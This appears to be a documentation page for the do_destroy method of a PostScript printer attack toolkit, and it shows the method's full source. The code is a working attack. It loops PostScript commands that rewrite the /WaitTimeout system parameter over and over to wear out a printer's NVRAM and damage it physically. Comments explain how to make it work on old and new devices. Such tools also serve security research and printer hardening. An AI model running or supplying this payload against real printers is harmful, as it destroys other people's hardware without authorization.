Method do_destroy

postscript.py:501–530

Cause physical damage to printer's NVRAM.

(self, arg)

    # ------------------------[ destroy ]---------------------------------
    def do_destroy(self, arg):
        "Cause physical damage to printer's NVRAM."
        output().warning("Warning: This command tries to cause physical damage to the")
        output().warning("printer NVRAM. Use at your own risk. Press CTRL+C to abort.")
        if output().countdown("Starting NVRAM write cycle loop in...", 10, self):
            '''
            ┌───────────────────────────────────────────────────────────┐
            │               how to destroy your printer?                │
            ├───────────────────────────────────────────────────────────┤
            │ Older devices allow us to set system parameters within a  │
            │ PostScript loop. New devices only write to the NVRAM once │
            │ the print job finishes which slows down NVRAM exhaustion. │
            │ To get the best of both worlds, we use a hybrid approach. │
            ├───────────────────────────────────────────────────────────┤
            │ Note that this will only work if /WaitTimeout survives a  │
            │ reboot. Else we should use the /StartJobPassword instead. │
            └───────────────────────────────────────────────────────────┘
            '''
            cycles = '100'  # number of nvram write cycles per loop
            # large values kill old printers faster
            for n in range(1, 1000000):
                self.globalcmd('/value {currentsystemparams /WaitTimeout get} def\n'
                               '/count 0 def /new {count 2 mod 30 add} def\n'
                               '{ << /WaitTimeout new >> setsystemparams\n'
                               '  /count count 1 add def % increment\n'
                               '  value count ' + cycles + ' eq {exit} if\n'
                               '} loop', False)
                self.chitchat("\rNVRAM write cycles: " +
                              str(n*int(cycles)), '')
            print()  # echo newline if we get this far

    # ------------------------[ hang ]------------------------------------
    def do_hang(self, arg):